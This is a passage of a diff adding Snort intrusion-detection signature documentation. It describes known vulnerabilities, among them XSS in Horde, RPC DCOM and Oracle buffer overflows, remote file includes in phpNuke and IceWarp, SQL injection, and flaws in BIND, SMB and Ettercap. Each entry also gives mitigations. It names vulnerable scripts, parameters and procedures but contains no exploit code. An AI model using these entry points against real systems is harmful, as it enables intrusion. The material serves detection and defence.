+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "Horde" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "url" parameter in the "go.php" script used by the "Horde" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using Horde
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Dan Raswami <dan.raswami@sourcefire.com>
+
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3341.txt
+++ snort-2.8.5.2/doc/signatures/3341.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3341
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2681.txt
+++ snort-2.8.5.2/doc/signatures/2681.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2681
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure sdo_code_size
+. This procedure is included in
+mdsys.sdo_admin.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1308.txt
+++ snort-2.8.5.2/doc/signatures/1308.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1308
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000370.txt
+++ snort-2.8.5.2/doc/signatures/100000370.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000370
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "phpNuke" application running on a webserver. Access to the file "admin_groups.php" using a remote file being passed as the "phpbb_root_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpbb_root_path" parameter in the "admin_groups.php" script used by the "phpNuke" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using phpNuke
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2687.txt
+++ snort-2.8.5.2/doc/signatures/2687.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2687
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure validate
+. This procedure is included in
+sys.dbms_internal_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/840.txt
+++ snort-2.8.5.2/doc/signatures/840.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+840
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3139.txt
+++ snort-2.8.5.2/doc/signatures/3139.txt
@@ -0,0 +1,77 @@
+Rule: 
+
+--
+Sid: 
+3139
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft systems using Server Message Block (SMB).
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+SMB is a client - server protocol used in sharing resources such as
+files, printers, ports, named pipes and other things, between machines
+on a network.
+
+A vulnerability in the Microsoft implementation of SMB exists due to a
+programming error which may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain unauthorized access to the target host.
+
+A malicious attacker can exploit the vulnerability by sending a
+malicious response from a server in response to a client request using
+SMB.
+
+--
+Affected Systems:
+	Microsoft Windows 2003
+	Microsoft Windows 2000
+	Microsoft Windows XP
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message from the server
+containing code of their choosing to be run on the client.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+Turn off windows file and print services.
+
+Use Samba as an alternative.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+eEye:
+http://www.eeye.com/html/research/advisories/AD20050208.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/258.txt
+++ snort-2.8.5.2/doc/signatures/258.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+258
+
+--
+Summary:
+This event is generated when an exploit that targets vulnerabilities in 
+BIND 8.2 and 8.2.1 ("ADM named exploit 8.2/8.2.1") is executed against a
+local DNS server.
+
+--
+Impact:
+Severe. Remote code execution with the privileges of the BIND DNS daemon
+(named). 
+
+--
+Detailed Information:
+BIND is DNS server software shipped with a number of UNIX and 
+Linux-based operating systems. Attackers can exploit multiple 
+vulnerabilities in BIND versions between 8.2 and 8.2.1 to obtain remote 
+shell access. This enables the attacker to execute arbitrary code from 
+the command shell with the security privileges of the BIND DNS daemon 
+(named). If named is running as root, the attacker automatically obtains
+root privileges to the system.
+
+--
+Affected Systems:
+Any operating system running BIND implementations below 8.2.2.
+
+--
+Attack Scenarios:
+An attacker executes an exploit script against a vulnerable server, 
+obtaining shell access to the compromised machine. If named is running 
+as root, the attacker automatically obtains root privileges on the 
+server. Otherwise, the attacker can execute arbitrary code with the 
+privileges of named, which can lead to remote root compromise.
+
+--
+Ease of Attack:
+Simple. An exploit exists.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to BIND 8.2.2 or higher.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Judy Novak (judy.novak@sourcefire.com)
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1176.txt
+++ snort-2.8.5.2/doc/signatures/1176.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+1176
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a web server or an application running on a web server. Some
+applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Attrition:
+http://www.attrition.org/security/advisory/misc/ecom-990420
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1610.txt
+++ snort-2.8.5.2/doc/signatures/1610.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1610
+
+--
+Summary:
+An attempt to access a script (formmail) in the cgi-bin which has known
+vulnerabilities.
+
+Formmail is a freely available perl script that is used to send data
+collected via a form to specified addresses.
+
+--
+Impact:
+Attempt to gain information about the web-server environment variables.
+Could also be an attempt to execute commands on the web-server that will
+execute with the privilege of the user owning the daemon running the
+server. The script may also be used to relay SPAM or to disclose the
+contents of files on the host.
+
+--
+Detailed Information:
+This could be an attempt to gain intelligence about the web-server that
+might be used to further exploit the machine. The environment variables
+of the web-server might be retrieved and sent via email to an address of
+the attackers choosing. More importantly this could be an attempt to
+execute commands on the web-server. Should this be successful, the
+commands would execute with the privileges of the user owning the httpd daemon.
+
+--
+Attack Scenarios:
+Formmail receives information from a form via an HTTP POST. This
+includes the email addresses to which the form data is sent. A URI in
+the form of a POST to the formmail script could be crafted to send
+environment variables to a specified email address.
+
+--
+Ease of Attack:
+Simple. Exploit software is not required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Web-servers should not be allowed to view or execute files and binaries
+outside of it's designated web root or cgi-bin. The web-server httpd
+daemon should be run as a non-privileged user without login access to
+the host. The formmail script should be updated to a non-vulnerable
+version as soon as possible.
+
+--
+Contributors:
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1958.txt
+++ snort-2.8.5.2/doc/signatures/1958.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+1958
+
+--
+Summary:
+This event is generated when an attempt is made to ping the Remote Procedure Call (RPC) sadmind.
+
+--
+Impact:
+Intelligence gathering activity.  The sadmind ping will verify if the daemon is running.
+
+
+--
+Detailed Information:
+The sadmind RPC service is used by Solaris Solstice AdminSuite applications to perform remote distributed system administration tasks such as adding new users.  The ping function associated with the sadmind daemon will verify if it is active. 
+
+--
+Affected Systems:
+All systems running sadmind.
+
+--
+Attack Scenarios:
+An attacker can ping the sadmind daemon to verify if it is active.  There are several exploits associated with this daemon.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/866
+
+--
--- snort-2.8.5.2.orig/doc/signatures/712.txt
+++ snort-2.8.5.2/doc/signatures/712.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+712
+
+--
+Summary:
+This event is generated when an attempt is made to set an environment
+variable in a Telnet session to a server.
+
+--
+Impact:
+Unauthorized superuser access.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to use the environment
+variable ld_library_path in a Telnet session.
+
+--
+Affected Systems:
+	Telnet servers.
+
+--
+Attack Scenarios:
+An attacker can attempt to set the environment variable ld_library_path
+and then attempt to exploit a known vulnerability in some SunOS based
+systems.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Use ssh as an alternative to Telnet
+
+Block inbound telnet access if it is not required.
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/43
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2041.txt
+++ snort-2.8.5.2/doc/signatures/2041.txt
@@ -0,0 +1,77 @@
+Rule:
+
+--
+Sid:
+2041
+
+--
+Summary:
+The Extended Terminal Access Controller Access Control System (XTACACS) 
+is an authentication and authorization protocol derived from  CISCO 
+TACACS. It is used in TCP/IP networks where network servers authenticate
+clients from a master server.
+
+This event is generated when a failed login using XTACACS is observed.
+
+--
+Impact:
+This may be an intelligence gathering activity or an attempt to access 
+resources controlled by the XTACACS server.
+
+Multiple events from this rule may indicate the attempted enumeration of
+a valid user account using brute force methodology.
+
+--
+Detailed Information:
+When a user logs in to a server that uses XTACACS the server then makes 
+a request to a master server to determine the validity of the request. 
+The master server then verifies the login attempt and returns data 
+concerning that user which may include information regarding resources 
+the user is allowed access to in the form of an access list.
+
+--
+Affected Systems:
+All servers using XTACACS for authentication control.
+
+--
+Attack Scenarios:
+Regular user login method.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+This rule may generate an event when a legitimate user supplies an
+incorrect password or username when logging in to a device.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+XTACACS servers should only authenticate to known hosts and firewall 
+rules should prevent access to XTACACS enabled servers from outside the 
+local area network.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Network Information Library - Intel:
+http://www.intel.com/support/si/library/bi0414.htm
+
+The Internet Next Generation Project:
+http://ing.ctit.utwente.nl/WU5/D5.1/Technology/xtacacs/
+
+Xtacacs Home:
+http://www.netplex-tech.com/software/xtacacsd/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000860.txt
+++ snort-2.8.5.2/doc/signatures/100000860.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000860
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "Francisco Charrua Photo-Gallery" application running on a webserver. Access to the file "room.php" with SQL commands being passed as the "id" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "id" parameter in the "room.php" script used by the "Francisco Charrua Photo-Gallery" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Francisco Charrua Photo-Gallery
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2632.txt
+++ snort-2.8.5.2/doc/signatures/2632.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2632
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in database
+replication. The "refresh_mview_repgroup" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "gowner" variable to cause
+the overflow. The result could permit the attacker to gain escalated
+privileges and run code of their choosing. This attack requires an
+attacker to logon to the database with a valid username and password
+combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck90.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1382.txt
+++ snort-2.8.5.2/doc/signatures/1382.txt
@@ -0,0 +1,81 @@
+Rule:  
+
+--
+Sid:
+1382
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known root
+exploit for Ettercap Network Sniffer (Version <= 0.6.2)
+
+--
+Impact:
+Remote attacker is able to gain root shell on host running ettercap.
+
+--
+Detailed Information:
+A buffer overflow in the parsing of IRC traffic for 'nick' passwords 
+enables a remote attacker to execute code of their choice as root on 
+the compromised host.  This is as a result of an unchecked string 
+copy of the captured password in the packet into the buffer used to 
+store all retrieved passwords.  The same or very similar overlows exist 
+for other string matches within this section of code in this and previous 
+versions of ettercap. 
+
+The exploit released by GOBBLES listens on port 0x8000 and provides a
+shell for the attacker.  Since ettercap is generaly run as root in order
+to have access to a promiscuous network interface, the shell will have
+uid=0 (root).
+--
+Attack Scenarios:
+Ettercap is likely to be deployed in 'sensitive' parts of the network
+where a network administrator is analysing passing traffic.  A
+compromise of a host in such a position will not only reveal any
+passwords already captured by ettercap to the attacker, but gives the
+attacker ample opportunity to analyse passing network traffic for
+further useful information.  The host will quite likely be used as a base for
+other attacks.  Ettercap may also be installed on a compromised host for
+the purpose of monitoring or modifying traffic on the hosts network.
+
+--
+Ease of Attack:
+Simple - exploit code pubished by 'GOBBLES' on
+vuln-dev - original posting can be seen here : 
+http://online.securityfocus.com/archive/82/245128
+
+--
+False Positives:
+Unlikely as an 'IDENTIFY' message should not be more than 200 bytes in normal usage.
+
+--
+False Negatives:
+Although the rule is good match for the posted exploit - there are
+several other strings which would match in the vulnerable section of
+code.  A better match might be obtained by specifying 'IDENTIFY ' with
+the datagram size (dsize) greater than 200, although this may introduce more false positives. 
+
+--
+Corrective Action:
+Upgrade to ettercap 0.6.3 or greater
+
+--
+Contributors: 
+Snort documentation contributed by Mark Vevers	Initial Research
+Snort documentation contributed by Josh Gray	Edits
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Attrition:
+http://www.attrition.org/security/advisory/gobbles/GOBBLES-12.txt
+
+Security Focus archive:
+http://online.securityfocus.com/archive/82/245128
+
+-- 
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3174.txt
+++ snort-2.8.5.2/doc/signatures/3174.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3174
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000850.txt
+++ snort-2.8.5.2/doc/signatures/100000850.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000850
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "IceWarp" application running on a webserver. Access to the file "include.php" using a remote file being passed as the "lang_settings" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "lang_settings" parameter in the "include.php" script used by the "IceWarp" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using IceWarp
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2535.txt
+++ snort-2.8.5.2/doc/signatures/2535.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+2535
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft implementation of SSL Version 3.
+
+--
+Impact:
+Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in the handling of SSL Version 3 requests that
+can be manipulated to cause a DoS condition in various software 
+implementations used on Microsoft operating systems.
+
